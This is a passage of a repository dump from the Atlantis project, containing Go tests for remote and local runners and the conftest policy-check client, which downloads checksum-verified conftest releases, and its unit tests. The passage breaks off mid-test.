version.NewVersion(\"1.7.0\")\n\n\tt.Run(\"Remote Runner Success\", func(t *testing.T) {\n\t\ttmpDir := t.TempDir()\n\t\tplanPath := filepath.Join(tmpDir, \"workspace.tfplan\")\n\t\terr := os.WriteFile(planPath, []byte(\"Atlantis: this plan was created by remote ops\\n\"+openTofuPlanFileContents), 0600)\n\t\tOk(t, err)\n\n\t\tctx := command.ProjectContext{\n\t\t\tWorkspace:             \"workspace\",\n\t\t\tRepoRelDir:            \".\",\n\t\t\tEscapedCommentArgs:    []string{\"comment\", \"args\"},\n\t\t\tTerraformDistribution: &tfDistribution,\n\t\t\tTerraformVersion:      tfVersion,\n\t\t}\n\t\textraArgs := []string{\"extra\", \"args\"}\n\t\tenvs := map[string]string{}\n\n\t\texpectedOut := \"some random output\"\n\n\t\tWhen(mockRemoteRunner.Run(ctx, extraArgs, tmpDir, envs)).ThenReturn(expectedOut, nil)\n\n\t\toutput, err := subject.Run(ctx, extraArgs, tmpDir, envs)\n\n\t\tmockDefaultRunner.VerifyWasCalled(Never())\n\n\t\tEquals(t, expectedOut, output)\n\t\tOk(t, err)\n\n\t})\n\n\tt.Run(\"Remote Runner Failure\", func(t *testing.T) {\n\t\ttmpDir := t.TempDir()\n\t\tplanPath := filepath.Join(tmpDir, \"workspace.tfplan\")\n\t\terr := os.WriteFile(planPath, []byte(\"Atlantis: this plan was created by remote ops\\n\"+openTofuPlanFileContents), 0600)\n\t\tOk(t, err)\n\n\t\tctx := command.ProjectContext{\n\t\t\tWorkspace:             \"workspace\",\n\t\t\tRepoRelDir:            \".\",\n\t\t\tEscapedCommentArgs:    []string{\"comment\", \"args\"},\n\t\t\tTerraformDistribution: &tfDistribution,\n\t\t\tTerraformVersion:      tfVersion,\n\t\t}\n\t\textraArgs := []string{\"extra\", \"args\"}\n\t\tenvs := map[string]string{}\n\n\t\texpectedOut := \"some random output\"\n\n\t\tWhen(mockRemoteRunner.Run(ctx, extraArgs, tmpDir, envs)).ThenReturn(expectedOut, errors.New(\"err\"))\n\n\t\toutput, err := subject.Run(ctx, extraArgs, tmpDir, envs)\n\n\t\tmockDefaultRunner.VerifyWasCalled(Never())\n\n\t\tEquals(t, expectedOut, output)\n\t\tAssert(t, err != nil, \"err should not be nil\")\n\n\t})\n\n\tt.Run(\"Local Runner Success\", func(t *testing.T) {\n\t\ttmpDir := t.TempDir()\n\t\tplanPath := filepath.Join(tmpDir, \"workspace.tfplan\")\n\t\terr := os.WriteFile(planPath, []byte(openTofuPlanFileContents), 0600)\n\t\tOk(t, err)\n\n\t\tctx := command.ProjectContext{\n\t\t\tWorkspace:             \"workspace\",\n\t\t\tRepoRelDir:            \".\",\n\t\t\tEscapedCommentArgs:    []string{\"comment\", \"args\"},\n\t\t\tTerraformDistribution: &tfDistribution,\n\t\t\tTerraformVersion:      tfVersion,\n\t\t}\n\t\textraArgs := []string{\"extra\", \"args\"}\n\t\tenvs := map[string]string{}\n\n\t\texpectedOut := \"some random output\"\n\n\t\tWhen(mockDefaultRunner.Run(ctx, extraArgs, tmpDir, envs)).ThenReturn(expectedOut, nil)\n\n\t\toutput, err := subject.Run(ctx, extraArgs, tmpDir, envs)\n\n\t\tmockRemoteRunner.VerifyWasCalled(Never())\n\n\t\tEquals(t, expectedOut, output)\n\t\tOk(t, err)\n\n\t})\n\n\tt.Run(\"Local Runner Failure\", func(t *testing.T) {\n\t\ttmpDir := t.TempDir()\n\t\tplanPath := filepath.Join(tmpDir, \"workspace.tfplan\")\n\t\terr := os.WriteFile(planPath, []byte(openTofuPlanFileContents), 0600)\n\t\tOk(t, err)\n\n\t\tctx := command.ProjectContext{\n\t\t\tWorkspace:             \"workspace\",\n\t\t\tRepoRelDir:            \".\",\n\t\t\tEscapedCommentArgs:    []string{\"comment\", \"args\"},\n\t\t\tTerraformDistribution: &tfDistribution,\n\t\t\tTerraformVersion:      tfVersion,\n\t\t}\n\t\textraArgs := []string{\"extra\", \"args\"}\n\t\tenvs := map[string]string{}\n\n\t\texpectedOut := \"some random output\"\n\n\t\tWhen(mockDefaultRunner.Run(ctx, extraArgs, tmpDir, envs)).ThenReturn(expectedOut, errors.New(\"err\"))\n\n\t\toutput, err := subject.Run(ctx, extraArgs, tmpDir, envs)\n\n\t\tmockRemoteRunner.VerifyWasCalled(Never())\n\n\t\tEquals(t, expectedOut, output)\n\t\tAssert(t, err != nil, \"err should not be nil\")\n\n\t})\n\n}\n"
  },
  {
    "path": "server/core/runtime/policy/conftest_client.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage policy\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"runtime\"\n\t\"strings\"\n\n\t\"encoding/json\"\n\t\"regexp\"\n\n\t\"github.com/hashicorp/go-getter/v2\"\n\n\tversion \"github.com/hashicorp/go-version\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/core/runtime/cache\"\n\truntime_models \"github.com/runatlantis/atlantis/server/core/runtime/models\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\nconst (\n\tDefaultConftestVersionEnvKey = \"DEFAULT_CONFTEST_VERSION\"\n\tconftestBinaryName           = \"conftest\"\n\tconftestDownloadURLPrefix    = \"https://github.com/open-policy-agent/conftest/releases/download/v\"\n)\n\ntype Arg struct {\n\tParam  string\n\tOption string\n}\n\nfunc (a Arg) build() []string {\n\treturn []string{a.Option, a.Param}\n}\n\nfunc NewPolicyArg(parameter string) Arg {\n\treturn Arg{\n\t\tParam:  parameter,\n\t\tOption: \"-p\",\n\t}\n}\n\ntype ConftestTestCommandArgs struct {\n\tPolicyArgs []Arg\n\tExtraArgs  []string\n\tInputFile  string\n\tCommand    string\n}\n\nfunc (c ConftestTestCommandArgs) build() ([]string, error) {\n\n\tif len(c.PolicyArgs) == 0 {\n\t\treturn []string{}, errors.New(\"no policies specified\")\n\t}\n\n\t// add the subcommand\n\tcommandArgs := []string{c.Command, \"test\"}\n\n\tfor _, a := range c.PolicyArgs {\n\t\tcommandArgs = append(commandArgs, a.build()...)\n\t}\n\n\t// add hardcoded options\n\tcommandArgs = append(commandArgs, c.InputFile, \"--no-color\")\n\n\t// add extra args provided through server config\n\tcommandArgs = append(commandArgs, c.ExtraArgs...)\n\n\treturn commandArgs, nil\n}\n\n// SourceResolver resolves the policy set to a local fs path\n//\n//go:generate pegomock generate --package mocks -o mocks/mock_conftest_client.go SourceResolver\ntype SourceResolver interface {\n\tResolve(policySet valid.PolicySet) (string, error)\n}\n\n// LocalSourceResolver resolves a local policy set to a local fs path\ntype LocalSourceResolver struct {\n}\n\nfunc (p *LocalSourceResolver) Resolve(policySet valid.PolicySet) (string, error) {\n\treturn policySet.Path, nil\n\n}\n\n// SourceResolverProxy proxies to underlying source resolvers dynamically\ntype SourceResolverProxy struct {\n\tlocalSourceResolver SourceResolver\n}\n\nfunc (p *SourceResolverProxy) Resolve(policySet valid.PolicySet) (string, error) {\n\tswitch source := policySet.Source; source {\n\tcase valid.LocalPolicySet:\n\t\treturn p.localSourceResolver.Resolve(policySet)\n\tdefault:\n\t\treturn \"\", fmt.Errorf(\"unable to resolve policy set source %s\", source)\n\t}\n}\n\n//go:generate pegomock generate --package mocks -o mocks/mock_downloader.go Downloader\n\ntype Downloader interface {\n\tGetAny(dst, src string) error\n}\n\ntype ConfTestGoGetterVersionDownloader struct{}\n\nfunc (c ConfTestGoGetterVersionDownloader) GetAny(dst, src string) error {\n\t_, err := getter.GetAny(context.Background(), dst, src)\n\treturn err\n}\n\ntype ConfTestVersionDownloader struct {\n\tdownloader Downloader\n}\n\nfunc (c ConfTestVersionDownloader) downloadConfTestVersion(v *version.Version, destPath string) (runtime_models.FilePath, error) {\n\tversionURLPrefix := fmt.Sprintf(\"%s%s\", conftestDownloadURLPrefix, v.Original())\n\n\tconftestPlatform := getPlatform()\n\tif conftestPlatform == \"\" {\n\t\treturn runtime_models.LocalFilePath(\"\"), fmt.Errorf(\"don't know where to find conftest for %s on %s\", runtime.GOOS, runtime.GOARCH)\n\t}\n\n\t// download binary in addition to checksum file\n\tbinURL := fmt.Sprintf(\"%s/conftest_%s_%s.tar.gz\", versionURLPrefix, v.Original(), conftestPlatform)\n\tchecksumURL := fmt.Sprintf(\"%s/checksums.txt\", versionURLPrefix)\n\n\t// underlying implementation uses go-getter so the URL is formatted as such.\n\t// i know i know, I'm assuming an interface implementation with my inputs.\n\t// realistically though the interface just exists for testing so ¯\\_(ツ)_/¯\n\tfullSrcURL := fmt.Sprintf(\"%s?checksum=file:%s\", binURL, checksumURL)\n\n\tif err := c.downloader.GetAny(destPath, fullSrcURL); err != nil {\n\t\treturn runtime_models.LocalFilePath(\"\"), fmt.Errorf(\"downloading conftest version %s at %q: %w\", v.String(), fullSrcURL, err)\n\t}\n\n\tbinPath := filepath.Join(destPath, \"conftest\")\n\n\treturn runtime_models.LocalFilePath(binPath), nil\n}\n\n// ConfTestExecutorWorkflow runs a versioned conftest binary with the args built from the project context.\n// Project context defines whether conftest runs a local policy set or runs a test on a remote policy set.\ntype ConfTestExecutorWorkflow struct {\n\tSourceResolver         SourceResolver\n\tVersionCache           cache.ExecutionVersionCache\n\tDefaultConftestVersion *version.Version\n\tExec                   runtime_models.Exec\n}\n\nfunc NewConfTestExecutorWorkflow(log logging.SimpleLogging, versionRootDir string, conftestDownloder Downloader) *ConfTestExecutorWorkflow {\n\tdownloader := ConfTestVersionDownloader{\n\t\tdownloader: conftestDownloder,\n\t}\n\tversion, err := getDefaultVersion()\n\n\tif err != nil {\n\t\t// conftest default versions are not essential to service startup so let's not block on it.\n\t\tlog.Info(\"failed to get default conftest version. Will attempt request scoped lazy loads %s\", err.Error())\n\t}\n\n\tversionCache := cache.NewExecutionVersionLayeredLoadingCache(\n\t\tconftestBinaryName,\n\t\tversionRootDir,\n\t\tdownloader.downloadConfTestVersion,\n\t)\n\n\treturn &ConfTestExecutorWorkflow{\n\t\tVersionCache:           versionCache,\n\t\tDefaultConftestVersion: version,\n\t\tSourceResolver: &SourceResolverProxy{\n\t\t\tlocalSourceResolver: &LocalSourceResolver{},\n\t\t},\n\t\tExec: runtime_models.LocalExec{},\n\t}\n}\n\nfunc (c *ConfTestExecutorWorkflow) Run(ctx command.ProjectContext, executablePath string, envs map[string]string, workdir string, extraArgs []string) (string, error) {\n\tctx.Log.Debug(\"policy sets, %s \", ctx.PolicySets)\n\n\tinputFile := filepath.Join(workdir, ctx.GetShowResultFileName())\n\tvar policySetResults []models.PolicySetResult\n\tvar combinedErr error\n\n\tfor _, policySet := range ctx.PolicySets.PolicySets {\n\t\tpath, resolveErr := c.SourceResolver.Resolve(policySet)\n\n\t\t// Let's not fail the whole step because of a single failure. Log and fail silently\n\t\tif resolveErr != nil {\n\t\t\tctx.Log.Err(\"Error resolving policyset %s. err: %s\", policySet.Name, resolveErr.Error())\n\t\t\tcontinue\n\t\t}\n\n\t\targs := ConftestTestCommandArgs{\n\t\t\tPolicyArgs: []Arg{NewPolicyArg(path)},\n\t\t\tExtraArgs:  extraArgs,\n\t\t\tInputFile:  inputFile,\n\t\t\tCommand:    executablePath,\n\t\t}\n\n\t\tserializedArgs, _ := args.build()\n\t\tcmdOutput, cmdErr := c.Exec.CombinedOutput(serializedArgs, envs, workdir)\n\n\t\tif cmdErr != nil {\n\t\t\t// Since we're running conftest for each policyset, individual command errors should be concatenated.\n\t\t\tif isValidConftestOutput(cmdOutput) {\n\t\t\t\tcombinedErr = errors.Join(combinedErr, fmt.Errorf(\"policy_set: %s: conftest: some policies failed\", policySet.Name))\n\t\t\t} else {\n\t\t\t\tcombinedErr = errors.Join(combinedErr, fmt.Errorf(\"policy_set: %s: conftest: %s\", policySet.Name, cmdOutput))\n\t\t\t}\n\t\t}\n\n\t\tpassed := true\n\t\tif cmdErr != nil || hasFailures(cmdOutput) {\n\t\t\tpassed = false\n\t\t}\n\n\t\tpolicySetResults = append(policySetResults, models.PolicySetResult{\n\t\t\tPolicySetName: policySet.Name,\n\t\t\tPolicyOutput:  cmdOutput,\n\t\t\tPassed:        passed,\n\t\t\tReqApprovals:  policySet.ApproveCount,\n\t\t})\n\t}\n\n\tif policySetResults == nil {\n\t\tctx.Log.Warn(\"no policies have been configured.\")\n\t\treturn \"\", nil\n\t\t// TODO: enable when we can pass policies in otherwise e2e tests with policy checks fail\n\t\t// return \"\", errors.Wrap(err, \"building args\")\n\t}\n\n\tmarshaledStatus, err := json.Marshal(policySetResults)\n\tif err != nil {\n\t\treturn \"\", errors.New(\"cannot marshal data into []PolicySetResult. data\")\n\t}\n\n\t// Write policy check results to a file which can be used by custom workflow run steps for metrics, notifications, etc.\n\tpolicyCheckResultFile := filepath.Join(workdir, ctx.GetPolicyCheckResultFileName())\n\terr = os.WriteFile(policyCheckResultFile, marshaledStatus, 0600)\n\n\tcombinedErr = errors.Join(combinedErr, err)\n\n\toutput := string(marshaledStatus)\n\n\treturn c.sanitizeOutput(inputFile, output), combinedErr\n\n}\n\nfunc (c *ConfTestExecutorWorkflow) sanitizeOutput(inputFile string, output string) string {\n\treturn strings.ReplaceAll(output, inputFile, \"<redacted plan file>\")\n}\n\nfunc (c *ConfTestExecutorWorkflow) EnsureExecutorVersion(log logging.SimpleLogging, v *version.Version) (string, error) {\n\t// we have no information to proceed, so fallback to `conftest` command or fail hard\n\tif c.DefaultConftestVersion == nil && v == nil {\n\t\tlocalPath, err := c.Exec.LookPath(conftestBinaryName)\n\t\tif err == nil {\n\t\t\tlog.Info(\"conftest version is not specified, so fallback to conftest command\")\n\t\t\treturn localPath, nil\n\t\t}\n\t\treturn \"\", errors.New(\"no conftest version configured/specified or not found conftest command\")\n\t}\n\n\tvar versionToRetrieve *version.Version\n\n\tif v == nil {\n\t\tversionToRetrieve = c.DefaultConftestVersion\n\t} else {\n\t\tversionToRetrieve = v\n\t}\n\n\tlocalPath, err := c.VersionCache.Get(versionToRetrieve)\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn localPath, nil\n\n}\n\nfunc getDefaultVersion() (*version.Version, error) {\n\t// ensure version is not default version.\n\t// first check for the env var and if that doesn't exist use the local executable version\n\tdefaultVersion, exists := os.LookupEnv(DefaultConftestVersionEnvKey)\n\n\tif !exists {\n\t\treturn nil, fmt.Errorf(\"%s not set\", DefaultConftestVersionEnvKey)\n\t}\n\n\twrappedVersion, err := version.NewVersion(defaultVersion)\n\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"wrapping version %s: %w\", defaultVersion, err)\n\t}\n\treturn wrappedVersion, nil\n}\n\n// Checks if output from conftest is a valid output.\nfunc isValidConftestOutput(output string) bool {\n\n\tr := regexp.MustCompile(`^(WARN|FAIL|\\[)`)\n\tif match := r.FindString(output); match != \"\" {\n\t\treturn true\n\t}\n\treturn false\n}\n\n// hasFailures checks whether any conftest policies have failed\nfunc hasFailures(output string) bool {\n\tr := regexp.MustCompile(`([1-9]([0-9]?)* failure|failures\": \\[)`)\n\tif match := r.FindString(output); match != \"\" {\n\t\treturn true\n\t}\n\treturn false\n}\n\nfunc getPlatform() string {\n\tplatform := runtime.GOOS + \"_\" + runtime.GOARCH\n\n\tswitch platform {\n\tcase \"linux_amd64\":\n\t\treturn \"Linux_x86_64\"\n\tcase \"linux_arm64\":\n\t\treturn \"Linux_arm64\"\n\tcase \"darwin_amd64\":\n\t\treturn \"Darwin_x86_64\"\n\tcase \"darwin_arm64\":\n\t\treturn \"Darwin_arm64\"\n\tdefault:\n\t\treturn \"\"\n\t}\n}\n"
  },
  {
    "path": "server/core/runtime/policy/conftest_client_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage policy\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/hashicorp/go-version\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/core/runtime/cache/mocks\"\n\tmodels_mocks \"github.com/runatlantis/atlantis/server/core/runtime/models/mocks\"\n\tconftest_mocks \"github.com/runatlantis/atlantis/server/core/runtime/policy/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestConfTestVersionDownloader(t *testing.T) {\n\n\tversion, _ := version.NewVersion(\"0.25.0\")\n\tdestPath := \"some/path\"\n\tplatform := getPlatform()\n\tfullURL := fmt.Sprintf(\"https://github.com/open-policy-agent/conftest/releases/download/v0.25.0/conftest_0.25.0_%s.tar.gz?checksum=file:https://github.com/open-policy-agent/conftest/releases/download/v0.25.0/checksums.txt\", platform)\n\n\tRegisterMockTestingT(t)\n\n\tmockDownloader := conftest_mocks.NewMockDownloader()\n\n\tsubject := ConfTestVersionDownloader{\n\t\tdownloader: mockDownloader,\n\t}\n\n\tt.Run(\"success\", func(t *testing.T) {\n\n\t\tbinPath, err := subject.downloadConfTestVersion(version, destPath)\n\n\t\tmockDownloader.VerifyWasCalledOnce().GetAny(Eq(destPath), Eq(fullURL))\n\n\t\tOk(t, err)\n\n\t\tAssert(t, binPath.Resolve() == filepath.Join(destPath, \"conftest\"), \"expected binpath\")\n\t})\n\n\tt.Run(\"error\", func(t *testing.T) {\n\n\t\tWhen(mockDownloader.GetAny(Eq(destPath), Eq(fullURL))).ThenReturn(errors.New(\"err\"))\n\t\t_, err := subject.downloadConfTestVersion(version, destPath)\n\n\t\tAssert(t, err != nil, \"err is expected\")\n\t})\n}\n\nfunc TestEnsureExecutorVersion(t *testing.T) {\n\n\tdefaultVersion, _ := version.NewVersion(\"1.0\")\n\texpectedPath := \"some/path\"\n\n\tRegisterMockTestingT(t)\n\n\tmockCache := mocks.NewMockExecutionVersionCache()\n\tmockExec := models_mocks.NewMockExec()\n\tlog := logging.NewNoopLogger(t)\n\n\tt.Run(\"no specified version or default version without conftest command\", func(t *testing.T) {\n\t\tsubject := &ConfTestExecutorWorkflow{\n\t\t\tVersionCache: mockCache,\n\t\t\tExec:         mockExec,\n\t\t}\n\n\t\tWhen(mockExec.LookPath(Any[string]())).ThenReturn(\"\", errors.New(\"not found\"))\n\t\t_, err := subject.EnsureExecutorVersion(log, nil)\n\n\t\tAssert(t, err != nil, \"expected error finding version\")\n\t})\n\n\tt.Run(\"no specified version or default version with conftest command\", func(t *testing.T) {\n\t\tsubject := &ConfTestExecutorWorkflow{\n\t\t\tVersionCache: mockCache,\n\t\t\tExec:         mockExec,\n\t\t}\n\t\tWhen(mockExec.LookPath(Any[string]())).ThenReturn(expectedPath, nil)\n\t\tpath, err := subject.EnsureExecutorVersion(log, nil)\n\t\tOk(t, err)\n\t\tAssert(t, path == expectedPath, \"path is expected\")\n\t})\n\n\tt.Run(\"use default version\", func(t *testing.T) {\n\t\tsubject := &ConfTestExecutorWorkflow{\n\t\t\tVersionCache:           mockCache,\n\t\t\tDefaultConftestVersion: defaultVersion,\n\t\t}\n\n\t\tWhen(mockCache.Get(defaultVersion)).ThenReturn(expectedPath, nil)\n\n\t\tpath, err := subject.EnsureExecutorVersion(log, nil)\n\n\t\tOk(t, err)\n\n\t\tAssert(t, path == expectedPath, \"path is expected\")\n\t})\n\n\tt.Run(\"use specified version\", func(t *testing.T) {\n\t\tsubject := &ConfTestExecutorWorkflow{\n\t\t\tVersionCache:           mockCache,\n\t\t\tDefaultConftestVersion: defaultVersion,\n\t\t}\n\n\t\tversionInput, _ := version.NewVersion(\"2.0\")\n\n\t\tWhen(mockCache.Get(versionInput)).ThenReturn(expectedPath, nil)\n\n\t\tpath, err := subject.EnsureExecutorVersion(log, versionInput)\n\n\t\tOk(t, err)\n\n\t\tAssert(t, path == expectedPath, \"path is expected\")\n\t})\n\n\tt.Run(\"cache error\", func(t *testing.T) {\n\t\tsubject := &ConfTestExecutorWorkflow{\n\t\t\tVersionCache:           mockCache,\n\t\t\tDefaultConftestVersion: defaultVersion,\n\t\t}\n\n\t\tversionInput, _ := version.NewVersion(\"2.0\")\n\n\t\tWhen(mockCache.Get(versionInput)).ThenReturn(expectedPath, errors.New(\"some err\"))\n\n\t\t_, err := subject.EnsureExecutorVersion(log, versionInput)\n\n\t\tAssert(t, err != nil, \"path is expected\")\n\t})\n}\n\nfunc TestRun(t *testing.T) {\n\n\tRegisterMockTestingT(t)\n\tmockResolver := conftest_mocks.NewMockSourceResolver()\n\tmockExec := models_mocks.NewMockExec()\n\n\tsubject := &ConfTestExecutorWorkflow{\n\t\tSourceResolver: mockResolver,\n\t\tExec:           mockExec,\n\t}\n\tlog := logging.NewNoopLogger(t)\n\n\tpolicySetName1 := \"policy1\"\n\tpolicySetPath1 := \"/some/path\"\n\tlocalPolicySetPath1 := \"/tmp/some/path\"\n\n\tpolicySetName2 := \"policy2\"\n\tpolicySetPath2 := \"/some/path2\"\n\tlocalPolicySetPath2 := \"/tmp/some/path2\"\n\texecutablePath := \"/usr/bin/conftest\"\n\tenvs := map[string]string{\n\t\t\"key\": \"val\",\n\t}\n\tworkdir := t.TempDir()\n\n\tpolicySet1 := valid.PolicySet{\n\t\tSource: valid.LocalPolicySet,\n\t\tPath:   policySetPath1,\n\t\tName:   policySetName1,\n\t}\n\n\tpolicySet2 := valid.PolicySet{\n\t\tSource: valid.LocalPolicySet,\n\t\tPath:   policySetPath2,\n\t\tName:   policySetName2,\n\t}\n\n\tctx := command.ProjectContext{\n\t\tPolicySets: valid.PolicySets{\n\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\tpolicySet1,\n\t\t\t\tpolicySet2,\n\t\t\t},\n\t\t},\n\t\tProjectName: \"testproj\",\n\t\tWorkspace:   \"default\",\n\t\tLog:         log,\n\t}\n\n\tt.Run(\"success\", func(t *testing.T) {\n\t\tvar extraArgs []string\n\n\t\texpectedOutput := \"Success\"\n\t\texpectedResult := `[{\"PolicySetName\":\"policy1\",\"PolicyOutput\":\"Success\",\"Passed\":true,\"ReqApprovals\":0,\"CurApprovals\":0},{\"PolicySetName\":\"policy2\",\"PolicyOutput\":\"Success\",\"Passed\":true,\"ReqApprovals\":0,\"CurApprovals\":0}]`\n\n\t\texpectedArgsPolicy1 := []string{executablePath, \"test\", \"-p\", localPolicySetPath1, filepath.Join(workdir, \"testproj-default.json\"), \"--no-color\"}\n\t\texpectedArgsPolicy2 := []string{executablePath, \"test\", \"-p\", localPolicySetPath2, filepath.Join(workdir, \"testproj-default.json\"), \"--no-color\"}\n\n\t\tWhen(mockResolver.Resolve(policySet1)).ThenReturn(localPolicySetPath1, nil)\n\t\tWhen(mockResolver.Resolve(policySet2)).ThenReturn(localPolicySetPath2, nil)\n\n\t\tWhen(mockExec.CombinedOutput(expectedArgsPolicy1, envs, workdir)).ThenReturn(expectedOutput, nil)\n\t\tWhen(mockExec.CombinedOutput(expectedArgsPolicy2, envs, workdir)).ThenReturn(expectedOutput, nil)\n\n\t\tresult, err := subject.Run(ctx, executablePath, envs, workdir, extraArgs)\n\n\t\tfmt.Println(result)\n\n\t\tOk(t, errors.Unwrap(err))\n\n\t\tAssert(t, result == expectedResult, \"result is expected\")\n\n\t})\n\n\tt.Run(\"success extra args\", func(t *testing.T) {\n\t\textraArgs := []string{\"--all-namespaces\"}\n\n\t\texpectedOutput := \"Success\"\n\t\texpectedResult := `[{\"PolicySetName\":\"policy1\",\"PolicyOutput\":\"\",\"Passed\":true,\"ReqApprovals\":0,\"CurApprovals\":0},{\"PolicySetName\":\"policy2\",\"PolicyOutput\":\"\",\"Passed\":true,\"ReqApprovals\":0,\"CurApprovals\":0}]`\n\n\t\texpectedArgsPolicy1 := []string{executablePath, \"test\", \"-p\", localPolicySetPath1, filepath.Join(workdir, \"testproj-default.json\"), \"--no-color\"}\n\t\texpectedArgsPolicy2 := []string{executablePath, \"test\", \"-p\", localPolicySetPath2, filepath.Join(workdir, \"testproj-default.json\"), \"--no-color\"}\n\n\t\tWhen(mockResolver.Resolve(policySet1)).ThenReturn(localPolicySetPath1, nil)\n\t\tWhen(mockResolver.Resolve(policySet2)).ThenReturn(localPolicySetPath2, nil)\n\n\t\tWhen(mockExec.CombinedOutput(expectedArgsPolicy1, envs, workdir)).ThenReturn(expectedOutput, nil)\n\t\tWhen(mockExec.CombinedOutput(expectedArgsPolicy2, envs, workdir)).ThenReturn(expectedOutput, nil)\n\n\t\tresult, err := subject.Run(ctx, executablePath, envs, workdir, extraArgs)\n\n\t\tfmt.Println(result)\n\n\t\tOk(t, errors.Unwrap(err))\n\n\t\tAssert(t, result == expectedResult, \"result is expected\")\n\n\t})\n\n\tt.Run(\"error resolving one policy source\", func(t *testing.T) {\n\t\tvar extraArgs []string\n\n\t\texpectedOutput := \"Success\"\n\t\texpectedResult := `[{\"PolicySetName\":\"policy1\",\"PolicyOutput\":\"Success\",\"Passed\":true,\"ReqApprovals\":0,\"CurApprovals\":0}]`\n\n\t\texpectedArgsPolicy1 := []string{executablePath, \"test\", \"-p\", localPolicySetPath1, filepath.Join(workdir, \"testproj-default.json\"), \"--no-color\"}\n\t\texpectedArgsPolicy2 := []string{executablePath, \"test\", \"-p\", localPolicySetPath2, filepath.Join(workdir, \"testproj-default.json\"), \"--no-color\"}\n\n\t\tWhen(mockResolver.Resolve(policySet1)).ThenReturn(localPolicySetPath1, nil)\n\t\tWhen(mockResolver.Resolve(policySet2)).ThenReturn(\"\", errors.New(\"err\"))\n\n\t\tWhen(mockExec.CombinedOutput(expectedArgsPolicy1, envs, workdir)).ThenReturn(expectedOutput, nil)\n\t\tWhen(mockExec.CombinedOutput(expectedArgsPolicy2, envs, workdir)).ThenReturn(expectedOutput, nil)\n\n\t\tresult, err := subject.Run(ctx, executablePath, envs, workdir, extraArgs)\n\n\t\tOk(t, errors.Unwrap(err))\n\n\t\tAssert(t, result == expectedResult, \"result is expected\")\n\n\t})\n\n\tt.Run(\"error resolving both policy sources\", func(t *testing.T) {\n\t\tvar extraArgs []string\n\n\t\texpectedResult := \"\"\n\t\texpectedArgsPolicy1 := []string{executablePath, \"test\", \"-p\", localPolicySetPath1, filepath.Join(workdir, \"testproj-default.json\"), \"--no-color\"}\n\n\t\tWhen(mockResolver.Resolve(policySet1)).ThenReturn(\"\", errors.New(\"err\"))\n\t\tWhen(mockResolver.Resolve(policySet2)).ThenReturn(\"\", errors.New(\"err\"))\n\n\t\tWhen(mockExec.CombinedOutput(expectedArgsPolicy1, envs, workdir)).ThenReturn(expectedResult, nil)\n\n\t\tresult, err := subject.Run(ctx, executablePath, envs, workdir, extraArgs)\n\n\t\tOk(t, err)\n\n\t\tAssert(t, result == \"\", \"result is expected\")\n\n\t})\n\n\tt.Run(\"error running one cmd\", func(t *testing.T) {\n\t\tvar extraArgs []string\n\n\t\texpectedOutputPolicy1 := fmt.Sprintf(\"FAIL - %s - failure\\n1 tests, 0 passed, 0 warnings, 1 failure, 0 exceptions\", filepath.Join(workdir, \"testproj-default.json\"))\n\t\texpectedOutputPolicy2 := \"Success\"\n\t\texpectedResult := `[{\"PolicySetName\":\"policy1\",\"PolicyOutput\":\"FAIL - <redacted plan file> - failure\\n1 tests, 0 passed, 0 warnings, 1 failure, 0 exceptions\",\"Passed\":false,\"ReqApprovals\":0,\"CurApprovals\":0},{\"PolicySetName\":\"policy2\",\"PolicyOutput\":\"Success\",\"Passed\":true,\"ReqApprovals\":0,\"CurApprovals\":0}]`\n\n\t\texpectedArgsPolicy1 := []string{executablePath, \"test\", \"-p\", localPolicySetPath1, filepath.Join(workdir, \"testproj-default.json\"), \"--no-color\"}\n\t\texpectedArgsPolicy2 := []string{executablePath, \"test\", \"-p\", localPolicySetPath2, filepath.Join(workdir, \"testproj-default.json\"), \"--no-color\"}\n\n\t\tWhen(mockResolver.Resolve(policySet1)).ThenReturn(localPolicySetPath1, nil)\n\t\tWhen(mockResolver.Resolve(policySet2)).ThenReturn(localPolicySetPath2, nil)\n\n\t\tWhen(mockExec.CombinedOutput(expectedArgsPolicy1, envs, workdir)).ThenReturn(expectedOutputPolicy1, errors.New(\"exit status code 1\"))\n\t\tWhen(mockExec.CombinedOutput(expectedArgsPolicy2, envs, workdir)).ThenReturn(expectedOutputPolicy2, nil)\n\n\t\tresult, err := subject.Run(ctx, executablePath, envs, workdir, extraArgs)\n\n\t\tEquals(t, result, expectedResult)\n\t\tAssert(t, err != nil, \"error is expected\")\n\n\t})\n\n\tt.Run(\"error running both cmds\", func(t *testing.T) {\n\t\tvar extraArgs []string\n\n\t\texpectedOutput := fmt.Sprintf(\"FAIL - %s - failure\\n1 tests, 0 passed, 0 warnings, 1 failure, 0 exceptions\", filepath.Join(workdir, \"testproj-default.json\"))\n\t\texpectedResult := `[{\"PolicySetName\":\"policy1\",\"PolicyOutput\":\"FAIL - <redacted plan file> - failure\\n1 tests, 0 passed, 0 warnings, 1 failure, 0 exceptions\",\"Passed\":false,\"ReqApprovals\":0,\"CurApprovals\":0},{\"PolicySetName\":\"policy2\",\"PolicyOutput\":\"FAIL - <redacted plan file> - failure\\n1 tests, 0 passed, 0 warnings, 1 failure, 0 exceptions\",\"Passed\":false,\"ReqApprovals\":0,\"CurApprovals\":0}]`\n\n\t\texpectedArgsPolicy1 := []string{executablePath, \"test\", \"-p\", localPolicySetPath1, filepath.Join(workdir, \"testproj-default.json\"), \"--no-color\"}\n\t\texpectedArgsPolicy2 := []string{executablePath, \"test\", \"-p\", localPolicySetPath2, filepath.Join(workdir, 